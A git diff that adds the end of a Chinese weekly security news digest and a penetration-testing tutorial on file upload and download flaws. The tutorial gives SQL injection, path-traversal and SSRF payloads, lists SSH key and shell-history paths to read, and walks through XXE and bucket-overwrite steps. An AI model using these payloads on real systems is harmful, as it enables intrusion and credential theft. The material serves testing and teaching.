+4月24日,奇安信CERT监测到官方修复Apache ActiveMQ远程代码执行漏洞(CVE-2026-40466),该漏洞是CVE-2026-34197安全修复的绕过。当activemq-http模块在类路径中时,已认证的攻击者可通过Jolokia API添加使用HTTP Discovery传输的恶意连接器,由攻击者控制的HTTP端点返回VM传输URI以绕过验证,进而利用Spring的ResourceXmlApplicationContext加载远程恶意XML配置,在目标JVM上执行任意代码。奇安信鹰图资产测绘平台数据显示,该漏洞关联的国内风险资产总数为5608个,关联IP总数为2532个。目前该漏洞PoC和技术细节已公开。鉴于该漏洞影响范围较大,建议客户尽快做好自查及防护。
+
+
+**PART****0****2**
+
+
+**新增在野利用**
+
+
+**1.Microsoft Defender 访问控制粒度不足漏洞(CVE-2026-33825)******
+
+
+4月22日,CISA 在其已知被利用漏洞(KEV)目录中新增了一个漏洞,理由是有证据表明在野存在主动利用。该漏洞被追踪为 CVE-2026-33825,俗称 BlueHammer,目标是 Microsoft Defender 的访问控制机制。
+
+BlueHammer 的出现与研究界、大型科技公司之间的激烈摩擦密切相关。一位名为“Chaotic Eclipse”(或称“Nightmare-Eclipse”)的研究人员发布了该漏洞的概念验证(PoC)代码以示抗议。该研究者表示,他对 Microsoft 安全响应中心(MSRC)处理初始披露流程的方式感到失望。
+
+Huntress Labs 最近报告称,该研究人员的三个行动——BlueHammer、RedSun 和 UnDefend——都曾被发现参与攻击。具体来说,BlueHammer 自4月10日起一直受到攻击。安全分析师 Will Dormann 确认了该漏洞的有效性,指出这是一个本地权限升级(LPE)漏洞。该漏洞通过结合两种经典利用技术来实现:1.TOCTOU(检查时间到使用时间):一种竞争条件,系统检查文件或资源,但攻击者在系统实际使用之前将其替换掉。2.路径混淆:欺骗应用程序访问一个本不该触及的位置的文件。
+
+通过成功通过这些障碍,攻击者可以获得安全账户管理器(SAM)数据库的访问权限。该数据库包含本地账户的密码哈希值。一旦攻击者获得这些权限,就可以升级到SYSTEM权限,实际上完全控制了机器。威胁行为者曾被发现使用“亲自操作”的策略,通过被攻破的SSLVPN用户获得初步入侵,然后部署这三种漏洞利用。
+
+虽然 Microsoft 在2026年4月的安全更新中解决了 BlueHammer 问题,但 RedSun 和 UnDefend 的漏洞目前尚未被修复。
+
+
+参考链接:
+
+https://securityonline.info/bluehammer-exploit-cve-2026-33825-microsoft-defender-lpe/
+
+
+**2.LMDeploy 服务器端请求伪造漏洞(CVE-2026-33626)******
+
+
+4月21日,LMDeploy(一款用于视觉语言和大型语言模型(LLM)服务的流行工具包)中,披露了一处高严重的服务器端请求伪造(SSRF)漏洞。在公告发布后的惊人12小时31分钟内,Sysdig 威胁研究团队(TRT)就首次主动尝试利用他们的蜜罐。
+
+该漏洞被追踪为 CVE-2026-33626,证明在生成式人工智能时代,仅凭一则咨询文本“足以从零开始设计漏洞利用”,即使没有公开的概念验证代码。
+
+LMDeploy 旨在服务能够“看见”的高级模型——如 InternVL2 和 Qwen2-VL。当用户发送带有图片 URL 的聊天请求时,服务器会获取该图片进行处理。然而,易受攻击的版本(v0.12.2及更早版本)缺乏关键的安全检查。报告解释道,该代码缺少主机名解析检查、私有网络屏蔽列表以及链路本地地址保护。通过提供恶意 URL 而非真实图片链接,攻击者可以诱使服务器访问其本不该触碰的内部资源。观察到的攻击并非随机探测;它是一个精心设计的、脚本化的八分钟会话,使用图像加载器作为“通用的 HTTP SSRF 原语”。
+
+人工智能基础设施被武器化的速度比传统软件更快。由于 AI 节点通常运行在拥有广泛云权限的高 GPU 实例上,一次成功的 SSRF 可能导致“云账户的完全入侵”。
+
+建议受影响客户将 LMDeploy 更新至 v0.12.3 或更高版本。
+
+
+参考链接:
+
+https://securityonline.info/cve-2026-33626-lmdeploy-ssrf-ai-inference-hijack/
+
+
+**3.Cisco Catalyst SD-WAN Manager 凭据泄露漏洞(CVE-2026-20128)&Cisco Catalyst SD-WAN Manager 信息泄露漏洞(CVE-2026-20133)&Cisco Catalyst SD-WAN Manager 任意文件覆盖漏洞(CVE-2026-20122)******
+
+
+4月20日,CISA已要求政府机构在四天内保护其系统免受 Catalyst SD-WAN Manager 的另一个漏洞的攻击,该漏洞已被标记为正在被积极利用的攻击。
+
+Catalyst SD-WAN Manager(以前称为 vManage)是一款网络管理软件,可帮助管理员从单个仪表板监控和管理多达 6,000 个 Catalyst SD-WAN 设备。思科在2月下旬修复了这个信息泄露漏洞(CVE-2026-20133),并表示该漏洞允许未经身份验证的远程攻击者访问未打补丁设备上的敏感信息。思科当时表示,此漏洞是由于文件系统访问限制不足造成的。攻击者可以通过访问受影响系统的API来利用此漏洞。成功利用此漏洞后,攻击者可以读取底层操作系统上的敏感信息。
+
+一周后,该公司透露,当天修复的另外两个安全漏洞(CVE-2026-20128 和 CVE-2026-20122)正在被恶意利用。
+
+CISA将 CVE-2026-20133 添加到其已知利用漏洞(KEV)目录中,“基于正在被利用的证据”,并命令机构评估并降低与 Cisco SD-WAN 设备相关的风险,针对 Cisco SD-WAN 设备的威胁进行排查与加固,如果无法采取缓解措施,需要停止使用该产品。
+
+思科尚未证实关于该漏洞正被用于攻击的报告,其安全公告仍然表示,其产品安全事件响应团队 (PSIRT) “尚未发现任何公开声明或恶意使用 CVE-2026-20133 中描述的漏洞的情况”。
+
+今年2月,思科还将一个严重的身份验证绕过漏洞 (CVE-2026-20127) 标记为零日攻击中被利用的漏洞,该漏洞使威胁行为者能够从至少2023年开始向目标网络添加恶意流氓对等体。最近,在3月初,该公司发布了安全更新,以解决其安全防火墙管理中心 (FMC) 软件中的两个最高级别漏洞,这些漏洞可能允许攻击者获得对底层操作系统的 root 访问权限,并以 root 权限执行任意 Java 代码。
+
+
+参考链接:
+
+https://www.bleepingcomputer.com/news/security/cisa-flags-new-sd-wan-flaw-as-actively-exploited-in-attacks/
+
+**PART****0****3**
+
+
+**安全事件**
+
+
+**1.国产AI开源组件Xinference遭供应链投毒,用户访问凭证和密钥等或泄露**
+
+
+4月23日奇安信威胁情报中心消息,国产AI推理开源组件Xinference被披露存在供应链投毒风险。攻击者通过窃取Python官方代码仓库(PyPI)项目维护者发布权限,在三个版本(2.6.0、2.6.1和2.6.2)中植入后门程序,一旦开发者安装或导入受影响版本,程序便会在后台自动运行,窃取SSH远程登录密钥、云服务平台访问密钥、数据库连接密码及加密货币钱包等敏感数据,并发送至攻击者控制的远程服务器。在用户报告可疑行为(例如发现搜索密码的grep活动)后,维护者已将这些版本从PyPI撤回。
+
+
+原文链接:
+
+https://mp.weixin.qq.com/s/RdDiw93k2tcr0YYqnc-V4Q
+
+
+**2.Kimi被曝泄露用户隐私,将他人简历擅自发给用户**
+
+
+4月22日i黑马消息,有博主在社交媒体发文称,月之暗面旗下AI产品Kimi泄露用户隐私。该博主表示,在使用Kimi时手滑粘贴错了一张图,系统先输出了一段无关的工程学文字,随后直接返回了一份包含姓名、电话、邮箱等真实信息的简历,疑似为其他用户上传的简历被系统错误发送。当事人通过简历上的联系方式找到了对方,对方确认自己在同一时间段内确实曾将个人简历提交至Kimi进行处理,所提交内容为文档格式,并非公开信息。当事人随即向Kimi官方邮件投诉,24小时未获回复。此后,有不同的自称Kimi工作人员的人与当事人联系,将该情况解释为“AI幻觉”,又改口称此次情况属于“发串”,即系统将其他用户的回复错误发送给了当事人。业内人士分析认为,此类情况属于小概率事件,是“哈希碰撞”恰好与AI幻觉叠加后导致的后果。
+
+
+原文链接:
+
+https://mp.weixin.qq.com/s/uDIjAbBQPf4g3tE2MY3acA
+
+
+**3.因默认设计不安全,知名AI编程公司Lovable所有用户数据公开暴露**
+
+
+4月21日Business Insider消息,瑞典AI编程公司Lovable近期曝出严重安全缺陷。因其后端权限逻辑在2月份统一权限时发生失误,意外重新开启了对“公共项目”聊天记录的访问权,导致2025年11月前所有默认公开的项目代码、AI 对话及客户敏感数据可被外部账户直接查看,波及英伟达、微软及Spotify等名企员工账号。该公司最初否认数据泄露,称有意如此设计,后致歉称系内部配置失误。AI编程工具普遍缺乏默认安全配置且底层安全建模粗放。这种“盲目追求极速交付”的模式,引发了大众对数据安全被牺牲的担忧。
+
+
+原文链接:
+
+https://www.businessinsider.com/lovable-security-access-vibe-coding-projects-risk-2026-4
+
+
+**4.法国国家重要证件管理机构遭网络攻击,部分用户信息泄露**
+
+
+4月20日央视新闻消息,法国国家安全证件管理局确认,其信息系统于4月15日发生安全事件,导致部分用户个人数据遭未经授权访问。法国内政部表示,受影响信息可能包括姓名、电子邮箱、出生日期,以及部分用户的住址、出生地和电话号码等,但不涉及办理证件时提交的附件材料,也无法直接用于登录账户。相关部门称已启动技术调查,并采取措施加强系统安全,同时正向受影响用户发送通知。法国司法部门已介入调查。法国国家安全证件管理局负责办理法国护照、身份证、居留证及驾驶执照等重要证件业务。此次事件引发外界对公共机构网络安全的关注。
+
+
+原文链接:
+
+https://ysxw.cctv.cn/article.html?toc_style_id=feeds_default&item_id=4646971463157735882
+
+
+**PART****0****4**
+
+
+**政策法规**
+
+
+**1.国家网信办等十部门联合公布《促进和规范电子单证应用规定》**
+
+
+4月17日,国家网信办、工业和信息化部、公安部、交通运输部、商务部、中国人民银行、海关总署、税务总局、市场监管总局、金融监管总局联合公布《促进和规范电子单证应用规定》。电子单证系统,是指基于网络信息技术,为创建、接收、存储和发送电子单证信息提供技术服务的信息系统。该文件明确了电子单证系统的可靠性、安全性要求。可靠性方面,一是鼓励通过可靠的电子单证系统从事电子单证活动;二是鼓励使用电子身份验证服务系统;三是鼓励电子单证系统运营者向依法设立的认证机构申请系统可靠性认证;四是要求加强风险管理,完善业务流程,降低电子单证记载货物信息与实际货物信息不符的风险。安全性方面,一是要求履行网络安全、数据安全和个人信息保护义务,落实网络安全等级保护制度和数据安全保护责任,建立健全相关技术措施和管理制度;二是向境外提供与电子单证有关的数据,要求符合国家关于数据出境的相关规定。
+
+
+原文链接:
+
+https://www.secrss.com/articles/89521
+
+
+**2.网安标委技术文件《人工智能应用伦理安全指引》1.0版公开征求意见**
+
+
+4月17日,全国网络安全标准化技术委员会组织制定了技术文件《人工智能应用伦理安全指引》1.0版(征求意见稿),现公开征求意见。该文件规定了人工智能应用活动中的伦理安全指引,包括伦理安全影响、伦理安全理念与治理原则,以及相关方开展活动的应用指引;适用于组织或个人开展人工智能应用开发、服务提供、使用等相关活动,也可为相关主管部门、行业组织和有关机构推进人工智能伦理安全治理提供参考。
+
+
+原文链接:
+
+https://www.secrss.com/articles/89509
+
+
+**3.美国参议院通过量子计划法案,强化应用、制造与安全**
+
+
+4月14日,美国参议院商务委员会以全票通过《2026年国家量子计划重授权法案》(S.3597),该法案将把联邦量子研发框架的授权期延续至2034年。委员会审议期间,七项修正案被一并纳入法案文本,内容涵盖量子制造、近期应用落地与后量子密码迁移。该法案要求,白宫科技政策办公室(OSTP)牵头制定联邦系统向后量子密码(PQC)迁移的国家战略,以应对量子计算能力提升对现有公钥加密体系构成的潜在威胁。
+
+
+原文链接:
+
+https://www.secrss.com/articles/89592
+
+
+**往期精彩推荐**
+
+
+[【已复现】Apache ActiveMQ 远程代码执行漏洞(CVE-2026-40466)安全风险通告](https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247505376&idx=1&sn=743a69b443b77628360e088602c8d620&scene=21#wechat_redirect)
+
+
+[深度分析 | 在官方 KICS Docker 中发现恶意 Checkmarx 构件](https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247505361&idx=1&sn=01078dadf040b30872c7fc973f212085&scene=21#wechat_redirect)
+
+
+[Oracle 2026年4月补丁日多产品高危漏洞安全风险通告](https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247505333&idx=1&sn=5d8eb18fb03812a7cd87753fe8e14929&scene=21#wechat_redirect)
+
+
+
+
+本期周报内容由安全内参&虎符智库&奇安信CERT联合出品!
+
+
+
+
+
+
+
diff --git a/doc/2026-04/我们发现了 Hermes Agent 的第一个远程代码执行漏洞,但这已经不重要了.md b/doc/2026-04/我们发现了 Hermes Agent 的第一个远程代码执行漏洞,但这已经不重要了.md
index 8f5b3b55..f7f0c4cc 100644
--- a/doc/2026-04/我们发现了 Hermes Agent 的第一个远程代码执行漏洞,但这已经不重要了.md
+++ b/doc/2026-04/我们发现了 Hermes Agent 的第一个远程代码执行漏洞,但这已经不重要了.md
@@ -1,6 +1,5 @@
# 我们发现了 Hermes Agent 的第一个远程代码执行漏洞,但这已经不重要了
-原创 admin
- admin 腾讯玄武实验室 2026-04-22 03:56
+ 网安前线 2026-04-24 09:21
引言
diff --git a/doc/2026-04/文件上传操作漏洞场景挖掘思路.md b/doc/2026-04/文件上传操作漏洞场景挖掘思路.md
new file mode 100644
index 00000000..9d72dc5e
--- /dev/null
+++ b/doc/2026-04/文件上传操作漏洞场景挖掘思路.md
@@ -0,0 +1,1031 @@
+# 文件上传操作漏洞场景挖掘思路
+xiaoY
+ xiaoY 陌笙不太懂安全 2026-04-24 10:37
+
+免责声明
+```
+由于传播、利用本公众号所提供的信息而造成
+的任何直接或者间接的后果及损失,均由使用
+者本人负责,公众号陌笙不太懂安全及作者不
+为此承担任何责任,一旦造成后果请自行承担!
+如有侵权烦请告知,我们会立即删除并致歉,谢谢!
+```
+```
+作者:xiaoY
+原文链接:https://xz.aliyun.com/news/18107
+```
+## 下载读取
+### 文件可疑ID遍历/注入
+
+下载接口出现铭感信息的(自己独有的东西)有用户的汇集的地方就很可能存在漏洞
+- 出现数字
+ID
+遍历,越权下载其他人文件,
+GET``POST
+皆切换尝试,利用
+IDOR
+越权,但是有鉴权字段就无效了
+```
+userId=19230239023923232
+NickName =232193299321324343
+orderid=1989885454549549
+```
+- 注入思考是**+1 -1**,观察数值有没有被带入执行,可以是选择性数字的导入/下载数字是否带入数据库查询
+导出Excle功能点,输入1的时候,表示导出第一列数据,此处包长为6360
+
+
+
+在我输入2的时候表示导出前2列数据,此时包长为6364
+
+
+
+当我输入
+xxx?id=2-1
+时,此时导出的是开始第一列1列数据,包长为6360了,这就很明显的用户可以操控拼接进
+SQL
+语句进行正则运算,所以遇到文件id 测试遍历及注入有时候也会有意想不到的惊喜
+```
+假设原本的 SQL 查询语句为:
+SELECT column_name FROM table_name WHERE id = '用户输入的id';
+```
+
+探测到注入无过滤情况就可以构造恒真条件永远为真,导致查询返回所有记录,从而绕过了原本的查询条件,获取了所有列的数据,假设存在过滤条件就慢慢探测了,只能靠个人思路绕过
+```
+如果用户输入的 id 是 1' OR '1'='1,那么拼接后的 SQL 查询语句会变成:
+SELECT column_name FROM table_name WHERE id = '1' OR '1'='1'';
+```
+### file参数下载接口任意读取
+
+读取文件功能点接口,按照读取的文件
+id
+返回对应的文件,字段
+file=xxxx
+,同上文不同的是虽然功能也是为文件相关,但相关字段并不是
+id
+fileid
+inode
+这种明确表示依靠文件
+id
+输出文件的,而是
+file
+表示文件相关字段,此类场景不仅仅可以测试注入、越权、遍历、还可以测试任意文件读取,类似的参数还有
+filesname file files
+, 不外乎功能点,只能接口字段出现此类就可以测试,只是这种漏洞出现在操作文件读取下载场景较多,下面会介绍到利用伪协议读取场景
+```
+file=189839434343 //可以尝试读取
+file=../../ect/passwd
+```
+
+
+
+列如
+apis/xxxxxxx/download?filePath=
+接口,于是便可以尝试任意文件读取,成功下载
+etc/passwd
+
+
+
+整理好通用字典,形成自己的测试规范,遇到好的绕过
+Payload
+做好记录,
+
+
+
+
+### 图片链接http://file/1.png
+
+
+图片的链接形式是
+http://file//xxxxx.png
+可以测试成
+file//etc/passwd
+或者只保留
+http://file
+对路径无处理可能会列出该目录下所有的文件
+
+```
+http://file//a0b24dbc24f3d24530999e10e11a88c7242338c0a849d91aa0ee47369cd2b6147f.png
+http://file// etc/passwd
+http://file//
+```
+### type类型任意文件读取
+
+
+接口中出现
+type
+类型参数时,尝试读取文件,最不起眼的参数也可能隐藏着重大的安全风险,设计要文件相关的参数都需要铭感起来
+filename
+```
+GET /api/saber?type=xxxxx
+GET /api/saber?type=../../../../../../etc/passwd
+```
+
+
+### 400状态码任意读取
+
+推特国外大牛挖掘遇到的情况,在路径上进行路径遍历,本以为参数带入才可以路径遍历,有时候骚的思路路径就是参数,响应包为
+400
+试试看路径遍历
+```
+payload: ///////./././././etc/passwd
+```
+
+
+
+
+
+### 文件包含任意文件读取区别
+
+文件包含会包含文件然后输出,任意文件读取只能读取
+
+
+
+
+文件包含和任意文件读取都支持伪协议还有远程地址,但是文件包含一般会有漏洞文件的前缀
+```
+http://baidu.com/ saber.php ?name=../../../../Windows./system.ini
+saber.php
+
+```
+
+根据功能点分析这个地方会是
+SSRF
+还是任意文件读取,请求网络功能如下必须测试
+DNSlog
+```
+http://baidu.com/saber?file=htttp:sxxxxx
+```
+
+无响应办法就测试任意文件读取
+file
+协议,能读文件了就可以读其他记录
+IP
+的铭感文件,需要注意权限的问题,权限决定我们能**读取/下载文件**
+范围,尝试读取
+root/.bash_history
+看自己是否有
+root
+权限,此文件只能是
+root
+用户读取它包含了
+root
+用户操作命令的记录如果没有,只能按部就班的利用../来逐层跳转读取
+```
+# etc/passwd记录了系统所有用户信息
+http://baidu.com/saber?file=file://etc/passwd
+# /etc/shadow 是用于存储用户账户密码等安全相关信息的文件 只有root用户才能读
+```
+
+不带协议文件包含
+
+
+理解
+http://xxxx/saber?name=etc/passwd
+与
+http://xxxxx/saber?name=file://etc/passwd
+之间的差异
+
+
+### 任意文件读取攻防利用思路
+
+参考文章
+- [https://mp.weixin.qq.com/s/7prdLc9ml6q2chrRxdsdEQ](https://mp.weixin.qq.com/s?__biz=Mzk0NjE0NDc5OQ==&mid=2247518434&idx=1&sn=0a28059b83aa0a7318ccf997426a4f24&scene=21#wechat_redirect)
+
+- [https://mp.weixin.qq.com/s/PdFm_Y3FNDkCMrsHXcm_2w](https://mp.weixin.qq.com/s?__biz=MjM5Mzc4MzUzMQ==&mid=2650260890&idx=1&sn=f46073f31278972785b097461b3b66bb&scene=21#wechat_redirect)
+
+- [https://mp.weixin.qq.com/s/Zkw68UPDWcHBn6cayVdITg](https://mp.weixin.qq.com/s?__biz=MzkwODc1NTgyMg==&mid=2247484148&idx=1&sn=e4a9e276702006c6bc2408be1fddb72e&scene=21#wechat_redirect)
+
+拿到任意读取漏洞思路先读取管理员
+root
+用户
+.bash_history
+命令记录 ,看自己是否有
+root
+权限,此文件只能是
+root
+用户读取它包含了
+root
+用户操作命令的记录,读取此用户的登录私钥包括历史记录记录,如果用户配置了可以通过密钥登录,那么读取私匙到本地 也可以完成 登录,私匙验证的东西远程下载下来,然后可以直接拿私匙到自己电脑上去远程登录对方
+ssh
+
+```
+/root/.bash_history # 读取root用户历史命令可能会出现ssh私钥存储位置或其他铭感文件路径
+/proc/self/status # 当前用户运行进程状态
+```
+
+无法读取管理员
+.bash_history
+,尝试读取
+/proc/self/status
+进程的
+uid
+和
+gid
+判断 当前用户权限
+
+
+
+后读取
+/etc/password
+的内容对比进程知道自己是什么用户,此文本会显示系统所有的用户,搜索
+home /bin/zsh
+就是实际存在且可以登录系统的用户以及
+root
+用户
+
+
+
+攻防中首先尝试身份去读取
+/root/.bash_history
+,获取管理员的历史命令记录,如果读取不了代表当前并没有
+root
+权限,则寻找其他可登录的用户,以它的身份去读取文件
+
+
+```
+/home/saber/.zsh_history # 读取saber用户历史命令可能会出现ssh私钥存储位置
+/hoem/saber/.ssh/id_rsa # 尝试读取普通用户默认私钥 /root/saber/.ssh/id_rsa root用户默认地址
+/root/.ssh/id_rsa # root 默认地址
+```
+
+
+
+file
+读取机器文件获得内网
+IP
+
+
+Linux
+系统
+
+```
+/etc/hosts 包含了主机名与 IP 地址的映射关系,可能会记录内网 IP 信息
+/etc/network/interfaces 存储网络接口的配置信息,其中可能包含内网 IP 地址
+/proc/net/fib_trie 包含了路由表信息,从中可以获取到内网 IP 地址
+~/.ssh/id_rsa Linux系统中用户的SSH 私钥默认位置
+```
+
+Windows
+系统
+```
+类似于 Linux 系统的/etc/hosts文件,存储了主机名与 IP 地址的映射关系
+C:\Windows\System32\drivers\etc\hosts:
+```
+
+常见中间件日志路径
+```
+/var/log/apache2/access.log
+/var/log/apache/access.log
+/var/log/apache2/error.log
+/var/log/apache/error.log
+/usr/local/apache/log/error_log
+/usr/local/apache2/log/error_log
+/var/log/nginx/access.log
+/var/log/nginx/error.log
+/var/log/httpd/error_log
+```
+
+dicr
+协议探测内网端口读取到
+IP
+就可以这样这样爆破操作
+
+如果读取到
+IP
+端口并且未授权就连接
+Redis
+dict
+这个协议也可以操作
+Redis
+执命令
+```
+dict://127/0.0.1:6379/info/ # SSR伪造协议读取redis信息
+cat /etc/hosts #读取网络信息
+```
+
+
+
+读取或包含
+Redis
+密码记录网站存在文件包含可以 读取
+redis
+配置文件信息,或者是其他的
+Spring boot heapdump
+等
+
+
+
+
+## 上传文件图片
+
+### 路径可控覆盖文件 / 上传后无路径
+
+
+一个点可以任意读取,通过读取
+/home/user/.bash_history
+历史命令得到网址的目录地址,然后跨目录传
+
+**判断是否可控**
+
+
+文件路径和文件名可控指我们选择图片上传,在请求包中/响应包就会显示出路径,我们修改路径或者文件名为自己可控的,再次发送如果成功路径代表可控
+
+
+
+
+
+路径可控,那么可以控制整个网站的目录尝试覆盖,网站下存放的东西在前端是可以知道的,上传相同的路径相同的文件名不就可以实现覆盖了嘛)
+```
+1. 路径可控尝试覆盖,上传2次同一目录下不同的图片,用浏览器打开最后图片是否一致,是则无用 否则是漏洞
+2. 再次上传测试../跨目录上传实现目录穿越
+```
+
+此处是上传功能,上传的参数为
+type
+,正常上传后发现响应包回显的路径是这样,路径回显了等于请求包控制了响应包的上传,
+
+
+```
+POST /demo/upload?type=1.jsp // 请求包路径
+ /demo/upload/home/type/1.jsp // 响应 包路径
+```
+
+猜测
+type
+参数就是文件夹名,如果 更改为其他的就会上传到其他位置去,使用
+../
+实现跨目录上传
+
+
+思路就是寻找系统的
+web
+路径,直接上传脚本
+getshell
+```
+POST /demo/upload?saber=1.jsp // 请求包路径
+/demo/upload/home/saber/1.jsp // 响应包路径
+```
+
+**上传不可知路径**
+```
+1. 查看下载文件地方,下载时抓包对路径推敲
+2. F12 找网站images 文件夹下是否存在路径
+3. 选择图片右键新标签打开,查看此图片对应的图片路径
+```
+
+**路径推测方法**
+
+
+如果响应包回显了路径可以删掉第一层然后拼接响应的目录,上传文件靶场都是这样的形式
+
+
+一般单独上传后的目录都是会在这一层目录下比如
+```
+https://baidu.com/demo/uploa/
+```
+
+上传回显如果是saber/1.txt或是1.txt 直接拼接在后面就行,会去掉原有 一层 看很多都是这样的
+```
+https://baidu.com/demp/saber/1.txt
+https://baidu.com/demp/1.txt
+```
+### OSS
+
+
+**阿里云验证**
+
+
+文件上传到
+OSS
+服务器过程中的三种经典验证方式
+```
+1. 在客户端通过JavaScript代码完成签名,然后通过表单直传数据到OSS // 硬编码在JS中
+2. 在服务端完成签名,然后通过表单直传数据到OSS
+3. 在服务端完成签名,并且服务端设置了上传后回调,然后通过表单直传数据到OSS
+ OSS回调完成后,再将应用服务器响应结果返回给客户端
+```
+
+
+
+**前提未上云且可以预览**
+不然不满足正常的文件上传,涉及到了云存储桶攻防,任何情况下,都不可以企图直接以图片后缀(
+.jps/.png/.gif/.jepg
+)命名文件并上传,这类文件里即使包含
+html
+代码或者
+js
+代码,其代码也不会被任何浏览器解析的
+
+
+**任意上传不限制类型**
+
+
+上传任意后缀文件都不解析,尝试上传
+.HTML
+文件写入
+XSS
+,**或上传异常后缀的文**
+件,写入
+HTML
+代码是很有可能得到存储
+XSS
+任意上传尝试
+htaccess
+文件 导致
+RCE
+
+#### 任意文件上传/类型解析
+
+
+[https://mp.weixin.qq.com/s/MEodN2cUG55rOnBMz48LqA](https://mp.weixin.qq.com/s?__biz=MzI0MTUwMjQ5Nw==&mid=2247484862&idx=1&sn=8b4567d328b809af0f7bdedaf7d676dc&scene=21#wechat_redirect)
+
+
+
+阿里云任意文件上传的时候,先判断文件的路径和文件名是否可控,接着去同厂商的其他网站查找静态图片或文件,看是否可以相互转换,实现任意文件覆盖
+
+
+上传图片任意上传
+html asp php
+的文件,如路径可控进行路径穿越
+```
+1.png --->1.php----->1.html....
+static/img/img1: 存放静态资源图片等信息的服务器
+```
+
+**不做解析情况**
+
+
+不做解析我们修改文件类型
+Content-Type
+为我们想要的,上传的文件是
+HTML PDF SVG
+格式 不解析但是可以预览,或许是因为这个类型没有改变,把它的东西全部作为图片去解析了,尝试更改类型
+
+
+(此操作情况是上传的文件支持预览操作而不是访问后直接下载,这样才有危害)
+```
+Content-Type: image/jpeg // 正常图片类型
+--------------------------------------------------------
+Content-Type: text/html // HTML文档类型上传.html修改
+Content-Type: application/pdf // PDF文件格式
+Content-Type: application/x-httpd-php // PHP格式
+Content-Type: application/jsp // JSP格式
+Content-Type: application/xml // XML格式
+```
+
+
+
+上传后缀名还是
+.jpg
+但文件类型改为
+html
+上传成功可能会图片后缀解析
+html
+
+
+
+
+
+**payload**
+```
+Content-Disposition: form-data; name="file"; filename="12.png"
+Content-Type: text/html
+
+```
+#### 上传泄露bucket桶覆盖文件
+
+
+[STStoken覆盖文件](https://mp.weixin.qq.com/s?__biz=Mzg3MTc0MDYwMg==&mid=2247483855&idx=1&sn=cc41111f7e8a67018432195f6f978ef8&scene=21#wechat_redirect)
+
+
+
+导入或者上传的功能点,也是上传过后响应包返回了如下数据,如不知道桶名只能源码慢慢审查,判断是哪个云厂商然后找平台文档找脚本进行应用填入对应的值,还是需要一个包一个包的找泄露
+```
+Bucket 桶名
+tmp_secret_key
+tmp_tokene
+-------
+secret_id=
+secret_key=
+```
+
+
+
+根据文档脚本进行上传文件操作,上传的文件是在根目录下,按理
+
+
+
+通过脚本填入对应的值,任意上传文件至网站根目录,如知晓 网站其他路径上传即可实现覆盖操作.
+body
+为上传的内容
+
+
+```
+// 上传脚本执行需要Py为3.0版本下
+from qcloud_cos import CosConfig
+from qcloud_cos import CosS3Client
+import sys
+import logging
+# 配置日志输出
+logging.basicConfig(level=logging.INFO, stream=sys.stdout)
+# 填入你的密钥、ID、区域等信息
+secrets_key = 'your_secret_key'
+secrets_id = 'your_secret_id'
+region = 'your_region'
+token = ''scheme = 'https'
+# 配置CosConfig
+config = CosConfig(Region=region, SecretId=secrets_id, SecretKey=secrets_key, Token=token, Scheme=scheme)
+# 创建CosS3Client
+client = CosS3Client(config)
+# 上传文件到指定存储桶
+response = client.put_object(
+ Bucket='your_bucket_name', # 存储桶名称
+ Key='a.txt', # 上传文件名称
+ Body='Hello, World!' # 文件内容
+)
+```
+### 上传Excle文件XXE
+
+
+[利用Excle打XXE](https://mp.weixin.qq.com/s?__biz=Mzg2NjUzNzg4Ng==&mid=2247484217&idx=1&sn=e5e7bfcf375c5534d28a4cdbc47dee79&scene=21#wechat_redirect)
+
+
+
+[https://mp.weixin.qq.com/s/kbLLEfdHHOXbuPor-vVPkw](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247487116&idx=1&sn=3ddebcdd42fc972bb4516d9bedb2e392&scene=21#wechat_redirect)
+
+
+
+创建
+XlSX
+利用压缩软件打开在,解压到桌面 在
+xl/workbook.xml
+路径下打开文件加入
+Payload
+,以下内容插入第2行和第3行,
+SYSTEM
+后面自己添加相对应的
+dns
+记录均可,可以是
+BP
+可以是
+DNS.log
+
+
+
+```
+ ]>
+&xxe;
+```
+
+
+
+加入
+Paylaod
+保存是现在是文件夹的形式
+
+
+
+压缩为
+zip
+然后手动改后缀为
+xlsx
+,是两步 然后就弄好了恶意文件,切换地址就行了
+
+
+
+有回显切换伪协议读取文件
+```
+]>&test;s
+```
+
+它在任何场景下都只有一种
+Payload
+,产生的地方有
+docx
+文档或
+xlsx
+指的是把
+xxe
+语句写在这些文件里面去上传访问)文件导致
+SSRF
+或本地文件读取 现在的功能点直接支持插入
+XXE
+语句的非常少
+
+
+常见的XML传参的数据包
+```
+
+
+
+2
+
+
+1
+
+
+```
+
+在语句之间插入
+Payload
+```
+Payload:
+ %xxe;]>
+-----------------------------------------
+
+// 写入 dns.log 地址
+ %xxe;]>
+
+
+2
+
+
+1
+
+
+# file协议读文件
+
+```
+
+
+
+完整的攻击文章,从导出探测到可控之后尝试读取内网再读取内网文件,但亮点是正常是通过
+iframe
+标签但这里使用的
+JS
+代码读取,之后读取的文件内容会导出到
+PDF
+
+
+[XSS到任意文件读取](https://mp.weixin.qq.com/s?__biz=MzkyMTU3MDYxMA==&mid=2247495456&idx=1&sn=48242848a93aa3c17ecaf38e09b4d7a7&scene=21#wechat_redirect)
+
+
+
+导出
+PDF
+通过请求
+file
+协议读取文件,
+javascript
+将在服务器端执行,通过注入以下 代码从文件系统进行文件的读取
+
+```
+
+```
+
+
+
+
+
+**绕过**
+
+
+当一些特殊标签比如
+